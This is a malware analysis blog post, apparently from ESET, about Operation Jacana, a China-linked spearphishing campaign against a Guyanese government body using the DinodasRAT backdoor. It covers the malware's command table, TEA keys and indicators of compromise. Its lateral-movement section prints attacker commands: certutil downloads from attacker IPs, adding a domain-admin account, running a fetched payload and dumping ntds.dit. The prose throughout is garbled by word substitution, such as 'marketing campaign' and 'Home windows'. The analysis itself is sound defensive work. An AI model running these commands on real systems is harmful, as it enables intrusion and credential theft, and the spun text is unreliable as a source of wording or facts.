In February 2023, ESET researchers detected a spearphishing marketing campaign focusing on a governmental entity in Guyana. Whereas we haven’t been in a position to hyperlink the marketing campaign, which we named Operation Jacana, to any particular APT group, we consider with medium confidence {that a} China-aligned risk group is behind this incident.
Within the assault, the operators used a beforehand undocumented C++ backdoor that may exfiltrate information, manipulate Home windows registry keys, execute CMD instructions, and extra. We named the backdoor DinodasRAT based mostly on the sufferer identifier it sends to its C&C: the string all the time begins with Din, which reminded us of the hobbit Dinodas from the Lord of the Rings.
Key factors of this blogpost:
- Operation Jacana is a focused cyberespionage marketing campaign in opposition to a Guyanese governmental entity.
- After the preliminary compromise by way of spearphishing emails, the attackers proceeded to maneuver laterally by way of the sufferer’s inner community.
- To extract delicate information, the operators used a beforehand undocumented backdoor we named DinodasRAT.
- DinodasRAT encrypts the data it sends to the C&C utilizing the Tiny Encryption Algorithm (TEA).
- Other than DinodasRAT, the attackers additionally deployed Korplug, main us to suspect that China-aligned operators are behind this operation.
This marketing campaign was focused, because the risk actors crafted their emails particularly to entice their chosen sufferer group. After efficiently compromising the primary couple of machines with DinodasRAT, the operators proceeded to maneuver laterally and breach the goal’s inner community, the place they once more deployed the DinodasRAT backdoor, together with extra malicious instruments, amongst them a variant of Korplug (aka PlugX). The overview of the compromise movement in Operation Jacana is proven in Determine 1.

Attribution
As of this writing, we have now not been in a position to attribute Operation Jacana to any identified group. Nonetheless, due to a clue we discovered, we really feel that we aren’t fully at midnight concerning the perpetrators. Through the assault, the risk actors deployed a variant of Korplug (aka PlugX), which is widespread to China-aligned teams – for instance, Mustang Panda’s Hodur: Previous methods, new Korplug variant.
Whereas our attribution to a China-aligned risk actor is made with solely medium confidence, the speculation is additional supported by current developments in Guyana–China diplomatic relations. In February 2023, the identical month that Operation Jacana occurred, the Particular Organised Crime Unit (SOCU) of Guyana arrested three folks in a cash laundering investigation involving Chinese language corporations, an act disputed by the native Chinese language embassy. Moreover, as a part of the Belt and Highway Initiative, China has financial pursuits in Guyana.
Preliminary Entry
As step one in breaching their sufferer’s community, the risk actors behind Operation Jacana despatched the goal group spearphishing emails referencing Guyanese public affairs. We noticed the next topic strains:
- President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas
- Guyanese fugitive in Vietnam
Primarily based on the e-mail topics, the operators will need to have been following the political goings-on in Guyana – the time we registered new detections on the focused governmental entity coincided with the Guyanese president’s attendance of the CARICOM convention in Nassau.
The spearphishing emails contained a hyperlink that, when clicked, downloaded a ZIP file from https://fta.moit.gov[.]vn/file/folks.zip. Since a site ending with gov.vn signifies a Vietnamese governmental web site, we consider that the operators had been in a position to compromise one other governmental entity and use it to host their malware samples. We’ve got notified the VNCERT in regards to the compromised infrastructure.
As soon as the sufferer extracted the ZIP file, which wasn’t password protected, and launched the contained executable, they turned compromised with the DinodasRAT malware. The extracted filenames are associated to the phishing electronic mail topic strains:
- Guyanese fugitive in Vietnam20220101to20230214Guyanese fugitive in Vietnam.docx.exe
- The Bahamas/President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.doc.exe
Lateral Motion
After breaching their goal, the attackers proceeded to maneuver throughout the sufferer’s inner community. In keeping with our telemetry, BAT/Impacket.M and associated detections had been triggered within the community, which factors to the usage of Impacket, or an identical WMI-based lateral motion device.
Among the instructions the attackers executed on the community embrace:
- certutil -urlcache -split http://23.106.123[.]166/vmtools.rar
- internet consumer test8 Test123.. /add /do
- internet group “area admins” test8 /add /do
- certutil -urlcache -split -f http://23.106.122[.]5/windowsupdate.txt c:programdatawindowsupdate.txt
- cd c:programdata
- c:programdatawindowsupdate.exe
- powershell “ntdsutil.exe ‘ac i ntds’ ‘ifm’ ‘create full c:temp’ q q”
The final command dumps ntds.dit utilizing the LOLBin ntdsutil.exe. This permits dumping passwords saved on a Home windows server.
Toolset
DinodasRAT
DinodasRAT is a beforehand undocumented distant entry trojan developed in C++ with numerous capabilities that permit an attacker to spy on and acquire delicate info from a sufferer’s pc.
When executed, the malware first checks whether or not three arguments had been handed. If current, these arguments should comprise the next info within the following order:
- the letter d,
- a quantity, which is a course of ID, and
- a full file path.
If all three arguments had been handed, DinodasRAT terminates the method represented by the method ID utilizing the Home windows API TerminateProcess then makes use of the Home windows API DeleteFileW to delete the file handed within the third argument. After this, the method stops its execution through the use of the C++ commonplace library exit perform. That is more than likely meant as an uninstall perform.
If no arguments had been handed, DinodasRAT continues its execution by making a mutex named shopper and checks for the existence of the standard Home windows listing C:ProgramData. If it exists, the malware creates a subdirectory named Utility Doc, which is used to allocate a configuration file and different information associated to the backdoor. In case the Home windows listing doesn’t exist, DinodasRAT creates a path within the root listing referred to as Program.FilesApplication.Doc. The strings Utility Doc, ProgramData and Program.FilesApplication.Doc are encrypted utilizing the Tiny Encryption Algorithm (TEA).
The Utility Doc listing is created with the attributes Learn-only and Hidden. Inside Utility Doc, DinodasRAT creates two subdirectories, named 0 and 1. As soon as the listing exists, the malware spawns three threads used for information assortment and exfiltration. An in depth description of their habits is given in Desk 1.
Desk 1. Thread descriptions
Thread | Description |
1 |
Take a screenshot of the show of the sufferer’s machine each 5 minutes utilizing Home windows API features like CreateDCW, BitBlt, DeleteDC, or ReleaseDC. The screenshot is compressed and saved within the subdirectory Utility Doc . With a view to compress the screenshot, the attackers use the zlib library, model 1.2.11. The format of the filename used for the saved screenshots is the next: <YYYYMMDDHHMMSS>_<5 random digits>_<one random digit>.jpg |
2 |
Get the content material of the clipboard each 5 minutes utilizing the Home windows API perform GetClipboardData and reserve it within the subdirectory Utility Doc1. The format of the filename used for the clipboard information file is the next: DateTimeStamp_<5 random digits>_<one random digit>.txt |
3 | Loops by way of the subdirectories 0 and 1 and sends the filenames, encrypted with TEA and base64 encoded, to the C&C server. If the C&C server replies, it creates one other packet with the intention to ship the filename with its information. Lastly, it deletes the file from the sufferer’s machine. |
After the threads are spawned, DinodasRAT creates a file named conf.ini in the principle listing. This file accommodates an ID used to determine the sufferer to the C&C server.
Determine 2 reveals an instance of the ID saved within the conf.ini file.

The format of the ID is Din_<YYYYMMDD>_<MD5-HASH>_<RANDOM-VALUE>_V1, the place:
- <YYYYMMDD> is the set up date,
- <MD5-HASH> is calculated utilizing the IP tackle of the sufferer and the set up date in milliseconds,
- <RANDOM-VALUE> is a random worth, and
- V1 might be the malware model.
TEA: Tiny Encryption Algorithm
DinodasRAT makes use of TEA to decrypt a few of its strings, in addition to to encrypt/decrypt information despatched to, or acquired from, its C&C server. TEA, or Tiny Encryption Algorithm, is an easy block cipher, famous for its ease of implementation in software program and {hardware}. For instance, the authentic reference implementation of its encode perform includes only a few strains of C code, with a really quick setup time and no tables of preset values. DinodasRAT employs the algorithm within the cipher-block chaining (CBC) mode. In some instances, the encrypted information is additional encoded with base64 earlier than being despatched to the C&C server.
We discovered that the malware accommodates three completely different keys used for various encryption/decryption eventualities, as described in Desk 2.
Desk 2. TEA keys utilized by DinodasRAT
Key N | Worth | Description |
1 | A1 A1 18 AA 10 F0 FA 16 06 71 B3 08 AA AF 31 A1 | Used primarily to encrypt/decrypt communications with the C&C server. |
2 | A0 21 A1 FA 18 E0 C1 30 1F 9F C0 A1 A0 A6 6F B1 | Used to encrypt the title of the information created within the screenshot performance, earlier than they’re despatched to the C&C server. |
3 | 11 0A A8 E1 C0 F0 FB 10 06 71 F3 18 AC A0 6A AF | Used to decrypt the set up paths. |
It’s doable that the attackers selected to make use of TEA with the intention to make the job simpler for themselves – we have now purpose to consider that the malware’s implementation of the algorithm is just not created from scratch, however that it could possibly be tailored from BlackFeather’s blogpost Tea Algorithm – C++.
C&C communication and malicious exercise
With a view to talk with the C&C server, DinodasRAT makes use of the Winsock library to create a socket that makes use of the TCP protocol. Though TCP is the default protocol used to ship and obtain info from the C&C server, we have now seen that DinodasRAT is able to altering to the UDP protocol.
The backdoor additionally creates numerous threads for various functions, reminiscent of manipulating a acquired command to execute on the sufferer’s machine. Therefore, with the intention to keep synchronized communication, DinodasRAT makes use of Home windows occasion objects through the use of Home windows API features like CreateEventW, SetEventW, and WaitForSingleObject.
To begin the principle communication with the C&C server, DinodasRAT sends a packet with primary details about the sufferer’s machine and its configuration, reminiscent of:
- Home windows model,
- OS structure,
- username,
- malware execution path encoded in base64, and
- a price used for the UDP protocol, which by default is 800.
Determine 3 reveals not solely primary info collected in regards to the sufferer, but in addition the ID generated by the malware, which serves as a sufferer identifier for the C&C server.

All the data that DinodasRAT sends to the C&C server by way of the TCP protocol is TEA encrypted. Along with that, a number of the info can be base64 encoded.
To ship the stolen info to the C&C server, DinodasRAT crafts a packet containing the next:
- First byte: an ID presumably to point whether or not the information is TEA encrypted (0x30) or base64 encoded and TEA encrypted (0x32).
- Subsequent DWORD: encrypted information dimension.
- Remaining bytes: encrypted information.
Determine 4 reveals an instance of an encrypted packet to be despatched to the C&C server.

Throughout our evaluation we had been unable to acquire a response from the C&C server, however we had been in a position to decide that any packets acquired from the server also needs to be encrypted with TEA.
Relating to dealing with instructions acquired from the C&C server, DinodasRAT creates a thread with an infinite loop accountable for receiving and figuring out whether or not packets comprise encrypted instructions to execute.
A packet, as soon as decrypted, accommodates the next construction:
- First DWORD: ID of motion to carry out, hex worth (see Desk 2).
- Second DWORD: one other ID, associated to point on the shopper facet that this packet is a command worth (in hex) to execute on the sufferer’s machine.
- Remainder of the packet: information utilized by the command to execute.
DinodasRAT accommodates instructions able to performing numerous actions on a sufferer’s machine or on the malware itself. Desk 3 lists the supported instructions with a brief description of every.
Desk 3. DinodasRAT instructions
Command ID |
Description |
0x02 |
Record the contents of a selected listing. |
0x03 |
Delete a file or the content material of a listing. |
0x04 |
Change the attribute of a file to hidden or regular. |
0x05 |
Ship information to the C&C server. |
0x06 |
Set an occasion object used for command 0x05. |
0x08 |
Modify a binary file with bytes acquired from the C&C server or execute a command utilizing CreateProcessW. |
0x09 |
Set an occasion object used for command 0x08. |
0x0D |
Write a variable referred to as va, with its worth, within the conf.ini file. |
0x0E |
Enumerate working processes. |
0x0F |
Terminate a course of by its course of ID. |
0x10 |
Record providers on the sufferer’s machine. |
0x11 |
Begin or delete a service. |
0x12 |
Get data from a Home windows registry key. |
0x13 |
Delete a Home windows registry key. |
0x14 |
Create a Home windows registry key. |
0x15 |
Execute a file or a command utilizing the CreateProcessW Home windows API. |
0x16 |
Execute a command utilizing the CreateProcessW Home windows API. |
0x17 |
Obtain a site and execute nslookup with that area to create one other socket with the IP tackle. |
0x18 |
Obtain and execute a command utilizing Home windows APIs CreateProcessW, PeekNamedPipe, and ReadFile. |
0x19 |
Similar as command 0x18. |
0x1A |
Set an occasion object used for instructions 0x18, 0x19, and 0x1B. |
0x1B |
Interactive reverse shell. |
0x1D |
File manipulation; rename, copy, transfer information, and many others. |
0x1E |
Set the string okay to a worldwide variable and ship that worth to the C&C server. |
0x1F |
Write a variable referred to as mode with its worth into the conf.ini file. |
0x20 |
Write a variable referred to as ptype with its worth into the conf.ini file. |
0x21 |
Get or set a variable referred to as fmode with its worth within the conf.ini file. |
0x22 |
Terminate malware execution. |
0x24 |
Write the variables s and sub, with their respective values, right into a file named p.ini. Each variables can have a Boolean worth of true or false. |
0x25 |
Configurate the occasion and world variables associated with the take screenshot thread. |
0x26 |
Write a variable referred to as c with its worth right into a file named p.ini. |
0x29 |
Modify the worth of a worldwide variable used for the UDP protocol, default worth 0x800. |
Throughout our investigation we have now seen solely the creation and use of the ID variable with its respective worth within the conf.ini file, which is used to point the sufferer to the C&C server.
Moreover, DinodasRAT makes use of a multipurpose world variable which, for instance, can comprise the trail of a filename to be deleted or the title of a Home windows registry subkey to create.
Different malware samples
The attackers additionally used different instruments other than DinodasRAT in the course of the intrusion:
- A variant of Korplug (aka PlugX) – A backdoor sometimes utilized by China-aligned risk teams.
- A SoftEther VPN shopper. This was in all probability used to proxy native ports, reminiscent of RDP, to the C&C server.
Conclusion
Operation Jacana is a cyberespionage marketing campaign that impacted a governmental entity in Guyana. We consider with medium confidence that it was performed by a China-aligned APT group.
The attackers used a mixture of beforehand unknown instruments, reminiscent of DinodasRAT, and extra conventional backdoors reminiscent of Korplug.
Primarily based on the spearphishing emails used to realize preliminary entry to the sufferer’s community, the operators are preserving monitor of the geopolitical actions of their victims to extend the chance of their operation’s success.
For any inquiries about our analysis printed on WeLiveSecurity, please contact us at threatintel@eset.com.
ESET Analysis presents personal APT intelligence experiences and information feeds. For any inquiries about this service, go to the ESET Risk Intelligence web page.
IoCs
A listing of IoCs can be present in our GitHub repository.
Information
SHA-1 |
Filename |
ESET detection title |
Description |
599EA9B26581EBC7B4BDFC02E6C792B6588B751E |
President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.doc.exe |
Win32/DinodasRAT.A |
DinodasRAT. |
EFD1387BB272FFE75EC9BF5C1DD614356B6D40B5 |
folks.zip |
Win32/DinodasRAT.A |
ZIP file containing DinodasRAT. |
9A6E803A28D27462D2DF47B52E34120FB2CF814B |
President Mohamed Irfaan Ali’s Official Go to to Nassau, The Bahamas.exe |
Win32/DinodasRAT.B |
DinodasRAT. |
33065850B30A7C797A9F1E5B219388C6991674DB |
114.exe |
Win32/DinodasRAT.B |
DinodasRAT. |
Community
IP |
Area |
Internet hosting supplier |
First seen |
Particulars |
23.106.122[.]5 |
N/A |
Leaseweb Asia Pacific pte. ltd. |
2023?03?29 |
Hosts different malicious elements. |
23.106.122[.]46 |
N/A |
IRT-LSW-SG |
2023?02?13 |
Hosts different malicious elements. |
23.106.123[.]166 |
N/A |
Leaseweb Asia Pacific pte. ltd. |
2023?02?15 |
Hosts different malicious elements. |
42.119.111[.]97 |
fta.moit.gov[.]vn |
FPT Telecom Firm |
2023?02?13 |
Hosts DinodasRAT in a compressed file. |
115.126.98[.]204 |
N/A |
Forewin Telecom Group Restricted, ISP at, HK |
2023?05?08 |
C&C server for DinodasRAT. |
118.99.6[.]202 |
N/A |
Edward Poon |
2023?02?02 |
C&C server for DinodasRAT. |
199.231.211[.]19 |
replace.microsoft-setting[.]com |
Sprint Networks Inc. |
2022?11?07 |
C&C server for DinodasRAT. |
MITRE ATT&CK methods
Tactic |
ID |
Title |
Description |
Useful resource Improvement |
Purchase Infrastructure: Digital Non-public Server |
Operators have used VPS servers for internet hosting their payloads. |
|
Develop Capabilities: Malware |
Operators made customized malware for the operation. |
||
Stage Capabilities: Add Malware |
Operators have used servers to add malware. |
||
Compromise Infrastructure: Server |
Operators have compromised servers to host their payloads. |
||
Acquire Capabilities: Malware |
Operators have used a variant of the Korplug backdoor on this operation. |
||
Acquire Capabilities: Instrument |
Operators have used instruments reminiscent of Impacket and SoftEther. |
||
Preliminary Entry |
Phishing: Spearphishing Hyperlink |
Operators made use of scheduled duties to persist their malware. |
|
Execution |
Command and Scripting Interpreter: PowerShell |
Operators have used PowerShell to execute instructions on the sufferer’s community. |
|
Command and Scripting Interpreter: Home windows Command Shell |
Operators have used Home windows command shell to execute instructions on the sufferer’s inner community. |
||
Command and Scripting Interpreter: Visible Fundamental |
Operators have used VBScripts. |
||
Native API |
DinodasRAT makes use of APIs, e.g., CreateProcessW, to execute CMD instructions on the sufferer’s machine. |
||
Person Execution: Malicious Hyperlink |
Operators have relied on their victims to open a hyperlink to obtain their malware. |
||
Person Execution: Malicious File |
Operators have relied on their victims to execute their malware. |
||
Protection Evasion |
Deobfuscate/Decode Information or Info |
DinodasRAT compresses information earlier than they’re despatched to the C&C server. DinodasRAT additionally makes use of TEA to decrypt strings. |
|
Masquerading: Double File Extension |
Operators have used “double extensions” to trick victims into executing their malware. |
||
Indicator Removing: File Deletion |
DinodasRAT is able to self-deletion from the sufferer’s machine. |
||
Conceal Artifacts: Hidden Information and Directories |
To evade detection, DinodasRAT creates hidden folders. |
||
Persistence |
Legitimate Accounts: Area Accounts |
Operators have created area accounts to take care of persistent entry to the sufferer’s inner community. |
|
Scheduled Process/Job |
Operators made use of scheduled duties to persist their malware. |
||
Credential Entry |
OS Credential Dumping: NTDS |
Operators abused ntdsutil.exe to dump credentials. |
|
Discovery |
File and Listing Discovery |
DinodasRAT can record the contents of a listing or a file. |
|
Question Registry |
DinodasRAT can receive info from Home windows registry keys. |
||
Course of Discovery |
DinodasRAT can receive details about the processes working on the sufferer’s machine. |
||
System Service Discovery |
DinodasRAT can receive details about the providers working on the sufferer’s machine. |
||
System Info Discovery |
DinodasRAT retrieves info like Home windows model from the sufferer’s machine. |
||
Assortment |
Clipboard Information |
DinodasRAT can receive info positioned on the clipboard of the sufferer’s machine. |
|
Display screen Seize |
DinodasRAT can take screenshots on the sufferer’s machine. |
||
Command and Management |
Encrypted Channel: Symmetric Cryptography |
DinodasRAT has used TEA for encrypting C&C server communications. |
|
Non-Utility Layer Protocol |
DinodasRAT has used TCP or UDP protocols for its connection to the C&C server. |
||
Information Encoding |
DinodasRAT makes use of base64 encoding for strings and information despatched to its C&C server. |
||
Exfiltration |
Exfiltration Over C2 Channel |
DinodasRAT exfiltrates information over the identical channel used for its C&C server. |